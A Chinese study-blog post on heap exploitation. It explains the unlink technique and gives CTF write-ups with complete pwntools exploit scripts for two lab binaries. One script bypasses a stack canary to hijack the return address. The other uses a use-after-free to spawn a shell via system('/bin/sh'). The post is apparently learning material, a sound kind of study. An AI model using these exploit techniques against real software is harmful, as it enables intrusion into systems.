24-02-19

本周学习总结

堆の康复训练。。。

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、Unlink

Unlink是一种合并堆块的手段,在有堆溢出漏洞时可以被利用为地址任意写。

网络上讲解的时候大都直接放源码,CPU给我干烧了,实际上该漏洞十分简单。

这个漏洞的关键在于对当前chunk进行写入的时候可以对该chunk物理上相邻的下一个chunk的size字段进行改写,将P从1改成0,表示当前chunk是释放状态(实际上未释放),此时释放下一个chunk导致下一个chunk尝试与该chunk合并。

我们在编辑该chunk时需要提前写入该chunk的大小,fd指针,bk指针,pre_size大小以及下一个chunk的size字段。

当下一个chunk合并时,会将chunk指针指向当前chunk,同时对当前chunk的fd->bk和bk->fd进行检查,也就是当前chunk的上一个chunk的bk和当前chunk的下一个chunk的fd必须是当前chunk的地址,正常情况下来说是没问题的。

但是此时当前chunk的fd和bk是由我们自己写的,在程序进行合并chunk时需要改变上一个chunk的fd来连接到当前chunk的下一个chunk,下一个chunk的bk需要连接到当前chunk的上一个chunk。我们此时可以在当前chunk的fd和bk写下地址(fd写入fack_addr - 0x18,bk写入fack_addr - 0x10),这样通过程序的连接修改后fack_addr里面就会存储fack_addr-0x18的值。

如果题目中使用的bss段的一个数组用来存储所有chunk的地址,我们可以将该数组的地址写入到fack_addr上,此时我们就有了修改此数组的机会,我们可以将数组中的地址修改为一些got表,然后通过edit函数来修改got表。

二、Easy–cat

下载文件得到cat。

check!

开启canary+NX

ida分析如下:

main:

vul:

door:

其中num1和num2是bss段上的数组。

我们可以看到程序中是开启canary的,我们的目标的改rip的地址到后门函数中。

在这个题目中我们无法知道canary的值,但是我们有strcat和strcpy这两个函数。

我们已知canary的尾号为\x00,而strcat的原理是找到当前字符串的\x00然后取消掉这个\x00,然后将字符串连接到这里。如果我们能将canary的\x00覆盖掉,此时就是rbp的值,而rbp的最高位就是\x00,我们用两个字节填充最高位,然后就可以修改rip的值。

此时我们需要将canary末尾的\x00改回来,此时strcpy的时候刚好溢出\x00到canary就可以了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# p = remote("101.32.220.189", 32440)
p = process("./cat")
# elf = ELF("./pwn")

payload = b"AA" + p64(0x4011FE)
sea(b"read:\n", payload)

payload = b"C" * 0x18 + b"\x00"
sea(b"read:\n", payload)

payload = b"A" * 0x39
sea(b"read:\n", payload)

op()

flag到手:

三、Easy–ACTF_2019_babyheap–UAF

下载文件得到ACTF_2019_babyheap

Check!

除PIE其他保护全开。

ida,启动!

main:

mean:

add:

del:

show:

prffun:

system地址:

/bin/sh地址:

发现了system函数和/bin/sh\x00,可惜并不在一起。

在del函数中发现了UAF漏洞。

add函数会固定申请一次0x10的块来存放用户申请的块和一个输出函数地址。

show函数会通过输出函数地址来输出用户存放的数据。

我们可以申请两个0x30大小的堆块,然后再释放他们,这样就得到了两个0x10的已释放堆块。

我们再申请一次0x10大小的堆块,此时0号堆块变成了我们的可编辑堆块。

我们在0号堆块的前8个字节中写入/bin/sh\x00的地址,然后在后8个字节中写入systme的plt地址。

最后使用show(0)来执行system(“/bin/sh\x00”)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# p = remote({IP})
p = process("./ACTF_2019_babyheap")
# elf = ELF("./pwn")

def add(size, content):
sea(b"choice: ", stre(1))
sea(b"size: ", stre(size))
sea(b"content: ", content)

def show(count):
sea(b"choice: ", stre(3))
sea(b"index: ", stre(count))

def dele(count):
sea(b"choice: ", stre(2))
sea(b"index: ", stre(count))

add(0x20, b"A" * 0x20)
add(0x20, b"B" * 0x20)
dele(0)
dele(1)
add(0x10, p64(0x602010) + p64(0x4007A0))
show(0)
op()

四、本来想试试Unlink的,但是被题目的缓冲区混乱恶心到了,下次一定

下周学习计划

| 应该要做的事情 |

完成堆基础学习,进入堆实战

学习感受

73 79 73 74 65 6d 28 22 2f 62 69 6e 2f 73 68 5c 78 30 30 22 29


24-02-19
https://zlsf-zl.github.io/2024/02/19/2-19-2-25/
作者
ZLSF
发布于
2024年2月19日
许可协议